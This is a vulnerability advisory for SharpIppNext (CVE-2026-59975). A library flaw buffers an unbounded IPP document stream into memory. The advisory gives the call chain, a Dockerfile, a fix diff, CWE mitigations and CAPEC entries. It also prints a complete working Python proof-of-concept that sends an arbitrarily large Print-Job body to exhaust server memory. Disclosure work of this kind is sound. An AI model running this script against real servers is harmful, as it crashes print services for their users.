The vulnerable sink is in SharpIpp/Protocol/IppProtocol.cs:

// IppProtocol.cs:39 — enabled by default
public bool ReadDocumentStream { get; set; } = true;

// IppProtocol.cs:466–470 — no size cap on the copy
if (ReadDocumentStream)
{
    message.Document = new MemoryStream();
    await reader.BaseStream.CopyToAsync(message.Document);  // unbounded
    message.Document.Seek(0, SeekOrigin.Begin);
}

The full call chain from the public API to the vulnerable sink:

  1. docs/Content/Server/index.md:6–11 — Official server example passes context.Request.Body (unauthenticated) to sharpIppServer.ReceiveRequestAsync(inputStream).
  2. SharpIpp/ISharpIppServer.cs:78 — Public API declaration: Task<IIppRequest> ReceiveRequestAsync(Stream stream, ...).
  3. SharpIpp/SharpIppServer.cs:62–67 — ReceiveRequestAsync(Stream) overload delegates to ReceiveRawRequestAsync(stream).
  4. SharpIpp/SharpIppServer.cs:52–58 — ReceiveRawRequestAsync calls _ippProtocol.ReadIppRequestAsync(stream, ...).
  5. SharpIpp/Protocol/IppProtocol.cs:466–470 — ReadIppRequestAsync copies all remaining bytes after the IPP attribute section into a new MemoryStream() with no upper bound.

The existing validator (IppRequestMessageValidator.ValidateStringLengthLimitsRule, IppRequestMessageValidator.cs:260) only checks IPP attribute string/octet lengths after parsing; it does not constrain the document stream buffered at step 5.

Dynamic confirmation (Phase 2): a Docker-based PoC server built directly from the v4.0.2 source (commit 185343e) was sent a 100 MB IPP document payload. The server responded docLength=104857600, confirming all 100 MB were buffered into a MemoryStream with no rejection.

PoC

1. Build and start the vulnerable server

# From the repository root (build context: parent of vuln-001/)
docker build -t sharpipp-dos-poc -f vuln-001/Dockerfile \
  reports/pypiAi_973_danielklecha__SharpIppNext/

docker run --rm -d -p 8631:8631 --name sharpipp-dos-server sharpipp-dos-poc

The PoC server (Program.cs) uses the default SharpIppServer (which uses IppProtocol with ReadDocumentStream = true) and exposes a single unauthenticated POST endpoint:

using SharpIpp;

var server = new SharpIppServer();
var app = WebApplication.Create();

app.MapPost("/", async ctx =>
{
    var req = await server.ReceiveRawRequestAsync(ctx.Request.Body);
    ctx.Response.ContentType = "text/plain";
    await ctx.Response.WriteAsync($"docLength={req.Document?.Length}\n");
});

app.Run("http://0.0.0.0:8631");

2. Send the crafted IPP request

python3 vuln-001/poc.py 127.0.0.1 8631 100

The PoC script (poc.py) builds a minimal valid IPP/2.0 Print-Job request (version + operation-id + request-id + operation-attributes-tag + two mandatory attributes + end-of-attributes-tag) followed by an attacker-controlled document body of the requested size, then sends it over HTTP.

3. Expected output

[*] Target          : http://127.0.0.1:8631/
[*] IPP header size : 72 bytes
[*] Document payload: 100 MB (104,857,600 bytes)
[*] Total request   : 104,857,672 bytes

[*] Sending request...
[*] HTTP status : 200
[*] Response    : docLength=104857600

[PASS] CONFIRMED: server buffered 104,857,600 bytes (100 MB) into MemoryStream with NO size limit.
[PASS] Vulnerable sink: IppProtocol.cs:469 reader.BaseStream.CopyToAsync(message.Document)

Increasing doc_size_mb (e.g., to 4096 or beyond available RAM) triggers process-level OOM on the target server.

Recommended fix

Add a configurable maximum document size and throw client-error-request-entity-too-large when exceeded:

--- a/SharpIpp/Protocol/IppProtocol.cs
+++ b/SharpIpp/Protocol/IppProtocol.cs
+        public long? MaxDocumentStreamBytes { get; set; } = 128L * 1024 * 1024;

             if (ReadDocumentStream)
             {
                 message.Document = new MemoryStream();
-                await reader.BaseStream.CopyToAsync(message.Document);
+                await CopyDocumentStreamAsync(reader.BaseStream, message.Document,
+                    message, MaxDocumentStreamBytes, cancellationToken).ConfigureAwait(false);
                 message.Document.Seek(0, SeekOrigin.Begin);
             }

Impact

This is an unauthenticated network-reachable Denial of Service vulnerability. Any server that follows the official SharpIppNext documentation and passes an HTTP request body to ReceiveRequestAsync() or ReceiveRawRequestAsync() is vulnerable out of the box, because ReadDocumentStream defaults to true and no document size limit exists in the library.

An attacker with network access to the IPP endpoint can:

  • Send a single HTTP POST request with an arbitrarily large body to exhaust the server process's heap memory.
  • Trigger an OOM kill or OutOfMemoryException, crashing the ASP.NET host process and making the printer/IPP service unavailable.
  • Repeat the attack trivially since no authentication is required and the exploit requires only a standard HTTP client.

Only consumers of SharpIppNext that expose an IPP server endpoint using SharpIppServer (e.g., print servers, document management systems, and IoT firmware) are affected. Applications acting purely as clients (SharpIppClient) to query printers or submit jobs are not affected.

Reproduction artifacts

Dockerfile

# syntax=docker/dockerfile:1
# PoC Dockerfile for VULN-001: Unbounded IPP Document Stream Buffering DoS
#
# Vulnerability: SharpIppNext v4.0.2 (commit 185343e) buffers the entire
# attacker-supplied IPP document payload into an unbounded MemoryStream.
#
# Affected code (IppProtocol.cs:39, 466-470):
#   public bool ReadDocumentStream { get; set; } = true;
#   ...
#   message.Document = new MemoryStream();
#   await reader.BaseStream.CopyToAsync(message.Document); // no size limit
#
# Build context: the parent directory (pypiAi_973_danielklecha__SharpIppNext/)
#   docker build -t sharpipp-dos-poc \
#     -f vuln-001/Dockerfile .
#
# Usage:
#   docker run --rm -d -p 8631:8631 --name sharpipp-dos sharpipp-dos-poc
#   python3 vuln-001/poc.py

# ---------------------------------------------------------------------------
# Build stage: compile the PoC server against the vulnerable SharpIpp library
# ---------------------------------------------------------------------------
FROM mcr.microsoft.com/dotnet/sdk:10.0 AS build

# Set up the vulnerable library build environment
WORKDIR /lib

# Create a minimal Directory.Build.props so SharpIpp.csproj can be compiled
# without TreatWarningsAsErrors (build toolchain compatibility)
RUN printf '<Project>\n  <PropertyGroup>\n    <Nullable>enable</Nullable>\n    <LangVersion>latest</LangVersion>\n    <NoWarn>$(NoWarn);618;612;NETSDK1138</NoWarn>\n  </PropertyGroup>\n</Project>\n' > Directory.Build.props

# Copy central package versions (required by SharpIpp netstandard2.0 target)
COPY repo/Directory.Packages.props ./

# Copy the vulnerable SharpIppNext source code (v4.0.2, commit 185343e)
# IMPORTANT: source is copied unmodified; only the build config above is custom
COPY repo/SharpIpp/ ./SharpIpp/

# Set up and build the PoC web server
WORKDIR /app/server
COPY vuln-001/server/ ./

RUN dotnet restore server.csproj
RUN dotnet publish server.csproj -c Release -o /published

# ---------------------------------------------------------------------------
# Runtime stage: minimal ASP.NET 10 image
# ---------------------------------------------------------------------------
FROM mcr.microsoft.com/dotnet/aspnet:10.0

WORKDIR /app
COPY --from=build /published ./

EXPOSE 8631
ENTRYPOINT ["dotnet", "server.dll"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Unbounded IPP Document Stream Buffering DoS
CVE candidate: SharpIppNext v4.0.1/v4.0.2 (CWE-400, CVSS 7.5)

Vulnerability: IppProtocol.ReadIppRequestAsync() copies the entire attacker-
controlled IPP document payload into a MemoryStream with no size limit:

    if (ReadDocumentStream)   // default: true
    {
        message.Document = new MemoryStream();
        await reader.BaseStream.CopyToAsync(message.Document);  // NO limit
        message.Document.Seek(0, SeekOrigin.Begin);
    }

An unauthenticated attacker sends a valid IPP header followed by an arbitrarily
large document body. The server buffers all bytes in memory, leading to OOM.

Usage:
    python3 poc.py [host] [port] [doc_size_mb]

    host         Target host (default: 127.0.0.1)
    port         Target port (default: 8631)
    doc_size_mb  Document payload size in MB (default: 100)

Expected result:
    Server responds with "docLength=<N>" where N equals doc_size_mb * 1024^2.
    This confirms all bytes were buffered into MemoryStream with no size check.
"""

import sys
import struct
import http.client
import time


def build_ipp_attr(tag: int, name: bytes, value: bytes) -> bytes:
    """Encode a single IPP attribute."""
    return (
        bytes([tag])
        + struct.pack(">H", len(name))
        + name
        + struct.pack(">H", len(value))
        + value
    )


def build_ipp_request(doc_size_bytes: int) -> bytes:
    """
    Build a minimal valid IPP/2.0 Print-Job request.

    Wire format:
        [2]  version-number     0x0200  (IPP 2.0)
        [2]  operation-id      0x0002  (Print-Job)
        [4]  request-id        0x00000001
        [1]  delimiter         0x01    (operation-attributes-tag)
        [N]  attributes        attributes-charset + attributes-natural-language
        [1]  delimiter         0x03    (end-of-attributes-tag)
        [M]  document-data     <arbitrary payload — the attack surface>
    """
    # IPP header: version 2.0, Print-Job, request-id 1
    header = struct.pack(">HHI", 0x0200, 0x0002, 0x00000001)

    # Operation attributes group
    attrs = bytes([0x01])  # operation-attributes-tag
    attrs += build_ipp_attr(0x47, b"attributes-charset", b"utf-8")
    attrs += build_ipp_attr(0x48, b"attributes-natural-language", b"en")
    attrs += bytes([0x03])  # end-of-attributes-tag

    # Document payload: attacker-controlled bytes after end-of-attributes
    # CopyToAsync will buffer ALL of these into a MemoryStream
    document = b"X" * doc_size_bytes

    return header + attrs + document


def run_poc(host: str, port: int, doc_size_mb: int) -> bool:
    """
    Send the crafted IPP request and verify the server echoes the full docLength.

    Returns True (PASS) if the server confirms unbounded buffering.
    """
    doc_size_bytes = doc_size_mb * 1024 * 1024
    payload = build_ipp_request(doc_size_bytes)

    ipp_header_len = len(payload) - doc_size_bytes
    print(f"[*] Target          : http://{host}:{port}/")
    print(f"[*] IPP header size : {ipp_header_len} bytes")
    print(f"[*] Document payload: {doc_size_mb} MB ({doc_size_bytes:,} bytes)")
    print(f"[*] Total request   : {len(payload):,} bytes")
    print(f"[*] Expected docLength in response: {doc_size_bytes}")
    print()

    print(f"[*] Sending request...")
    t0 = time.time()
    try:
        conn = http.client.HTTPConnection(host, port, timeout=180)
        conn.request(
            "POST",
            "/",
            body=payload,
            headers={
                "Content-Type": "application/ipp",
                "Content-Length": str(len(payload)),
            },
        )
        response = conn.getresponse()
        body = response.read().decode("utf-8", errors="replace").strip()
        elapsed = time.time() - t0
    except Exception as exc:
        print(f"[FAIL] Connection error: {exc}")
        return False

    print(f"[*] HTTP status : {response.status}")
    print(f"[*] Response    : {body}")
    print(f"[*] Round-trip  : {elapsed:.2f}s")
    print()

    expected = f"docLength={doc_size_bytes}"
    if expected in body:
        print(
            f"[PASS] CONFIRMED: server buffered {doc_size_bytes:,} bytes ({doc_size_mb} MB) "
            f"into MemoryStream with NO size limit."
        )
        print(
            f"[PASS] Vulnerable sink: IppProtocol.cs:469 "
            f"reader.BaseStream.CopyToAsync(message.Document)"
        )
        return True
    else:
        print(f"[FAIL] Expected '{expected}' in response, got: {body!r}")
        return False


def main() -> None:
    host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 8631
    doc_size_mb = int(sys.argv[3]) if len(sys.argv) > 3 else 100

    success = run_poc(host, port, doc_size_mb)
    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.0.2"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "SharpIppNext"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59975"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-19T20:43:01Z",
    "nvd_published_at": "2026-11-18T21:18:00Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nSharpIppNext\u0027s `IppProtocol.ReadIppRequestAsync()` unconditionally copies the entire attacker-supplied IPP document payload into an unbounded `MemoryStream` with no size limit. Because this behavior is enabled by default (`ReadDocumentStream = true`) and the official server documentation shows `HttpContext.Request.Body` being passed directly to `ReceiveRequestAsync()` without authentication, an unauthenticated remote attacker can exhaust the server process\u0027s memory by sending an arbitrarily large IPP request body, causing an Out-Of-Memory (OOM) condition and denial of service.\n\n\u003e [!NOTE]\n\u003e This vulnerability only affects server-side implementations (using `SharpIppServer` to parse incoming IPP requests). It does not affect client-side implementations using `SharpIppClient` or client-side request construction.\n\n### Details\n\nThe vulnerable sink is in `SharpIpp/Protocol/IppProtocol.cs`:\n\n```csharp\n// IppProtocol.cs:39 \u2014 enabled by default\npublic bool ReadDocumentStream { get; set; } = true;\n\n// IppProtocol.cs:466\u2013470 \u2014 no size cap on the copy\nif (ReadDocumentStream)\n{\n    message.Document = new MemoryStream();\n    await reader.BaseStream.CopyToAsync(message.Document);  // unbounded\n    message.Document.Seek(0, SeekOrigin.Begin);\n}\n```\n\nThe full call chain from the public API to the vulnerable sink:\n\n1. `docs/Content/Server/index.md:6\u201311` \u2014 Official server example passes `context.Request.Body` (unauthenticated) to `sharpIppServer.ReceiveRequestAsync(inputStream)`.\n2. `SharpIpp/ISharpIppServer.cs:78` \u2014 Public API declaration: `Task\u003cIIppRequest\u003e ReceiveRequestAsync(Stream stream, ...)`.\n3. `SharpIpp/SharpIppServer.cs:62\u201367` \u2014 `ReceiveRequestAsync(Stream)` overload delegates to `ReceiveRawRequestAsync(stream)`.\n4. `SharpIpp/SharpIppServer.cs:52\u201358` \u2014 `ReceiveRawRequestAsync` calls `_ippProtocol.ReadIppRequestAsync(stream, ...)`.\n5. `SharpIpp/Protocol/IppProtocol.cs:466\u2013470` \u2014 `ReadIppRequestAsync` copies all remaining bytes after the IPP attribute section into a `new MemoryStream()` with no upper bound.\n\nThe existing validator (`IppRequestMessageValidator.ValidateStringLengthLimitsRule`, `IppRequestMessageValidator.cs:260`) only checks IPP attribute string/octet lengths after parsing; it does not constrain the document stream buffered at step 5.\n\nDynamic confirmation (Phase 2): a Docker-based PoC server built directly from the v4.0.2 source (commit `185343e`) was sent a 100 MB IPP document payload. The server responded `docLength=104857600`, confirming all 100 MB were buffered into a `MemoryStream` with no rejection.\n\n### PoC\n\n**1. Build and start the vulnerable server**\n\n```bash\n# From the repository root (build context: parent of vuln-001/)\ndocker build -t sharpipp-dos-poc -f vuln-001/Dockerfile \\\n  reports/pypiAi_973_danielklecha__SharpIppNext/\n\ndocker run --rm -d -p 8631:8631 --name sharpipp-dos-server sharpipp-dos-poc\n```\n\nThe PoC server (`Program.cs`) uses the default `SharpIppServer` (which uses `IppProtocol` with `ReadDocumentStream = true`) and exposes a single unauthenticated POST endpoint:\n\n```csharp\nusing SharpIpp;\n\nvar server = new SharpIppServer();\nvar app = WebApplication.Create();\n\napp.MapPost(\"/\", async ctx =\u003e\n{\n    var req = await server.ReceiveRawRequestAsync(ctx.Request.Body);\n    ctx.Response.ContentType = \"text/plain\";\n    await ctx.Response.WriteAsync($\"docLength={req.Document?.Length}\\n\");\n});\n\napp.Run(\"http://0.0.0.0:8631\");\n```\n\n**2. Send the crafted IPP request**\n\n```bash\npython3 vuln-001/poc.py 127.0.0.1 8631 100\n```\n\nThe PoC script (`poc.py`) builds a minimal valid IPP/2.0 Print-Job request (version + operation-id + request-id + operation-attributes-tag + two mandatory attributes + end-of-attributes-tag) followed by an attacker-controlled document body of the requested size, then sends it over HTTP.\n\n**3. Expected output**\n\n```\n[*] Target          : http://127.0.0.1:8631/\n[*] IPP header size : 72 bytes\n[*] Document payload: 100 MB (104,857,600 bytes)\n[*] Total request   : 104,857,672 bytes\n\n[*] Sending request...\n[*] HTTP status : 200\n[*] Response    : docLength=104857600\n\n[PASS] CONFIRMED: server buffered 104,857,600 bytes (100 MB) into MemoryStream with NO size limit.\n[PASS] Vulnerable sink: IppProtocol.cs:469 reader.BaseStream.CopyToAsync(message.Document)\n```\n\nIncreasing `doc_size_mb` (e.g., to 4096 or beyond available RAM) triggers process-level OOM on the target server.\n\n**Recommended fix**\n\nAdd a configurable maximum document size and throw `client-error-request-entity-too-large` when exceeded:\n\n```diff\n--- a/SharpIpp/Protocol/IppProtocol.cs\n+++ b/SharpIpp/Protocol/IppProtocol.cs\n+        public long? MaxDocumentStreamBytes { get; set; } = 128L * 1024 * 1024;\n\n             if (ReadDocumentStream)\n             {\n                 message.Document = new MemoryStream();\n-                await reader.BaseStream.CopyToAsync(message.Document);\n+                await CopyDocumentStreamAsync(reader.BaseStream, message.Document,\n+                    message, MaxDocumentStreamBytes, cancellationToken).ConfigureAwait(false);\n                 message.Document.Seek(0, SeekOrigin.Begin);\n             }\n```\n\n### Impact\n\nThis is an unauthenticated network-reachable Denial of Service vulnerability. Any server that follows the official SharpIppNext documentation and passes an HTTP request body to `ReceiveRequestAsync()` or `ReceiveRawRequestAsync()` is vulnerable out of the box, because `ReadDocumentStream` defaults to `true` and no document size limit exists in the library.\n\nAn attacker with network access to the IPP endpoint can:\n\n- Send a single HTTP POST request with an arbitrarily large body to exhaust the server process\u0027s heap memory.\n- Trigger an OOM kill or `OutOfMemoryException`, crashing the ASP.NET host process and making the printer/IPP service unavailable.\n- Repeat the attack trivially since no authentication is required and the exploit requires only a standard HTTP client.\n\nOnly consumers of SharpIppNext that expose an IPP server endpoint using `SharpIppServer` (e.g., print servers, document management systems, and IoT firmware) are affected. **Applications acting purely as clients (`SharpIppClient`) to query printers or submit jobs are not affected.**\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# syntax=docker/dockerfile:1\n# PoC Dockerfile for VULN-001: Unbounded IPP Document Stream Buffering DoS\n#\n# Vulnerability: SharpIppNext v4.0.2 (commit 185343e) buffers the entire\n# attacker-supplied IPP document payload into an unbounded MemoryStream.\n#\n# Affected code (IppProtocol.cs:39, 466-470):\n#   public bool ReadDocumentStream { get; set; } = true;\n#   ...\n#   message.Document = new MemoryStream();\n#   await reader.BaseStream.CopyToAsync(message.Document); // no size limit\n#\n# Build context: the parent directory (pypiAi_973_danielklecha__SharpIppNext/)\n#   docker build -t sharpipp-dos-poc \\\n#     -f vuln-001/Dockerfile .\n#\n# Usage:\n#   docker run --rm -d -p 8631:8631 --name sharpipp-dos sharpipp-dos-poc\n#   python3 vuln-001/poc.py\n\n# ---------------------------------------------------------------------------\n# Build stage: compile the PoC server against the vulnerable SharpIpp library\n# ---------------------------------------------------------------------------\nFROM mcr.microsoft.com/dotnet/sdk:10.0 AS build\n\n# Set up the vulnerable library build environment\nWORKDIR /lib\n\n# Create a minimal Directory.Build.props so SharpIpp.csproj can be compiled\n# without TreatWarningsAsErrors (build toolchain compatibility)\nRUN printf \u0027\u003cProject\u003e\\n  \u003cPropertyGroup\u003e\\n    \u003cNullable\u003eenable\u003c/Nullable\u003e\\n    \u003cLangVersion\u003elatest\u003c/LangVersion\u003e\\n    \u003cNoWarn\u003e$(NoWarn);618;612;NETSDK1138\u003c/NoWarn\u003e\\n  \u003c/PropertyGroup\u003e\\n\u003c/Project\u003e\\n\u0027 \u003e Directory.Build.props\n\n# Copy central package versions (required by SharpIpp netstandard2.0 target)\nCOPY repo/Directory.Packages.props ./\n\n# Copy the vulnerable SharpIppNext source code (v4.0.2, commit 185343e)\n# IMPORTANT: source is copied unmodified; only the build config above is custom\nCOPY repo/SharpIpp/ ./SharpIpp/\n\n# Set up and build the PoC web server\nWORKDIR /app/server\nCOPY vuln-001/server/ ./\n\nRUN dotnet restore server.csproj\nRUN dotnet publish server.csproj -c Release -o /published\n\n# ---------------------------------------------------------------------------\n# Runtime stage: minimal ASP.NET 10 image\n# ---------------------------------------------------------------------------\nFROM mcr.microsoft.com/dotnet/aspnet:10.0\n\nWORKDIR /app\nCOPY --from=build /published ./\n\nEXPOSE 8631\nENTRYPOINT [\"dotnet\", \"server.dll\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unbounded IPP Document Stream Buffering DoS\nCVE candidate: SharpIppNext v4.0.1/v4.0.2 (CWE-400, CVSS 7.5)\n\nVulnerability: IppProtocol.ReadIppRequestAsync() copies the entire attacker-\ncontrolled IPP document payload into a MemoryStream with no size limit:\n\n    if (ReadDocumentStream)   // default: true\n    {\n        message.Document = new MemoryStream();\n        await reader.BaseStream.CopyToAsync(message.Document);  // NO limit\n        message.Document.Seek(0, SeekOrigin.Begin);\n    }\n\nAn unauthenticated attacker sends a valid IPP header followed by an arbitrarily\nlarge document body. The server buffers all bytes in memory, leading to OOM.\n\nUsage:\n    python3 poc.py [host] [port] [doc_size_mb]\n\n    host         Target host (default: 127.0.0.1)\n    port         Target port (default: 8631)\n    doc_size_mb  Document payload size in MB (default: 100)\n\nExpected result:\n    Server responds with \"docLength=\u003cN\u003e\" where N equals doc_size_mb * 1024^2.\n    This confirms all bytes were buffered into MemoryStream with no size check.\n\"\"\"\n\nimport sys\nimport struct\nimport http.client\nimport time\n\n\ndef build_ipp_attr(tag: int, name: bytes, value: bytes) -\u003e bytes:\n    \"\"\"Encode a single IPP attribute.\"\"\"\n    return (\n        bytes([tag])\n        + struct.pack(\"\u003eH\", len(name))\n        + name\n        + struct.pack(\"\u003eH\", len(value))\n        + value\n    )\n\n\ndef build_ipp_request(doc_size_bytes: int) -\u003e bytes:\n    \"\"\"\n    Build a minimal valid IPP/2.0 Print-Job request.\n\n    Wire format:\n        [2]  version-number     0x0200  (IPP 2.0)\n        [2]  operation-id      0x0002  (Print-Job)\n        [4]  request-id        0x00000001\n        [1]  delimiter         0x01    (operation-attributes-tag)\n        [N]  attributes        attributes-charset + attributes-natural-language\n        [1]  delimiter         0x03    (end-of-attributes-tag)\n        [M]  document-data     \u003carbitrary payload \u2014 the attack surface\u003e\n    \"\"\"\n    # IPP header: version 2.0, Print-Job, request-id 1\n    header = struct.pack(\"\u003eHHI\", 0x0200, 0x0002, 0x00000001)\n\n    # Operation attributes group\n    attrs = bytes([0x01])  # operation-attributes-tag\n    attrs += build_ipp_attr(0x47, b\"attributes-charset\", b\"utf-8\")\n    attrs += build_ipp_attr(0x48, b\"attributes-natural-language\", b\"en\")\n    attrs += bytes([0x03])  # end-of-attributes-tag\n\n    # Document payload: attacker-controlled bytes after end-of-attributes\n    # CopyToAsync will buffer ALL of these into a MemoryStream\n    document = b\"X\" * doc_size_bytes\n\n    return header + attrs + document\n\n\ndef run_poc(host: str, port: int, doc_size_mb: int) -\u003e bool:\n    \"\"\"\n    Send the crafted IPP request and verify the server echoes the full docLength.\n\n    Returns True (PASS) if the server confirms unbounded buffering.\n    \"\"\"\n    doc_size_bytes = doc_size_mb * 1024 * 1024\n    payload = build_ipp_request(doc_size_bytes)\n\n    ipp_header_len = len(payload) - doc_size_bytes\n    print(f\"[*] Target          : http://{host}:{port}/\")\n    print(f\"[*] IPP header size : {ipp_header_len} bytes\")\n    print(f\"[*] Document payload: {doc_size_mb} MB ({doc_size_bytes:,} bytes)\")\n    print(f\"[*] Total request   : {len(payload):,} bytes\")\n    print(f\"[*] Expected docLength in response: {doc_size_bytes}\")\n    print()\n\n    print(f\"[*] Sending request...\")\n    t0 = time.time()\n    try:\n        conn = http.client.HTTPConnection(host, port, timeout=180)\n        conn.request(\n            \"POST\",\n            \"/\",\n            body=payload,\n            headers={\n                \"Content-Type\": \"application/ipp\",\n                \"Content-Length\": str(len(payload)),\n            },\n        )\n        response = conn.getresponse()\n        body = response.read().decode(\"utf-8\", errors=\"replace\").strip()\n        elapsed = time.time() - t0\n    except Exception as exc:\n        print(f\"[FAIL] Connection error: {exc}\")\n        return False\n\n    print(f\"[*] HTTP status : {response.status}\")\n    print(f\"[*] Response    : {body}\")\n    print(f\"[*] Round-trip  : {elapsed:.2f}s\")\n    print()\n\n    expected = f\"docLength={doc_size_bytes}\"\n    if expected in body:\n        print(\n            f\"[PASS] CONFIRMED: server buffered {doc_size_bytes:,} bytes ({doc_size_mb} MB) \"\n            f\"into MemoryStream with NO size limit.\"\n        )\n        print(\n            f\"[PASS] Vulnerable sink: IppProtocol.cs:469 \"\n            f\"reader.BaseStream.CopyToAsync(message.Document)\"\n        )\n        return True\n    else:\n        print(f\"[FAIL] Expected \u0027{expected}\u0027 in response, got: {body!r}\")\n        return False\n\n\ndef main() -\u003e None:\n    host = sys.argv[1] if len(sys.argv) \u003e 1 else \"127.0.0.1\"\n    port = int(sys.argv[2]) if len(sys.argv) \u003e 2 else 8631\n    doc_size_mb = int(sys.argv[3]) if len(sys.argv) \u003e 3 else 100\n\n    success = run_poc(host, port, doc_size_mb)\n    sys.exit(0 if success else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-3h63-w8jq-rrf2",
  "modified": "2026-11-19T20:43:01Z",
  "published": "2026-11-19T20:43:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/danielklecha/SharpIppNext/security/advisories/GHSA-3h63-w8jq-rrf2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59975"
    },
    {
      "type": "WEB",
      "url": "https://github.com/danielklecha/SharpIppNext/commit/30e236e35f415d5172e178c75030cafd53d150fe"
    },
    {
      "type": "WEB",
      "url": "https://github.com/danielklecha/SharpIppNext/commit/fe161eb3d6d114aaf9b2f1e42dea55b097257281"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/danielklecha/SharpIppNext"
    },
    {
      "type": "WEB",
      "url": "https://github.com/danielklecha/SharpIppNext/releases/tag/v4.1.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SharpIppNext: Unbounded IPP Document Stream Buffering Leads to Denial of Service"
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.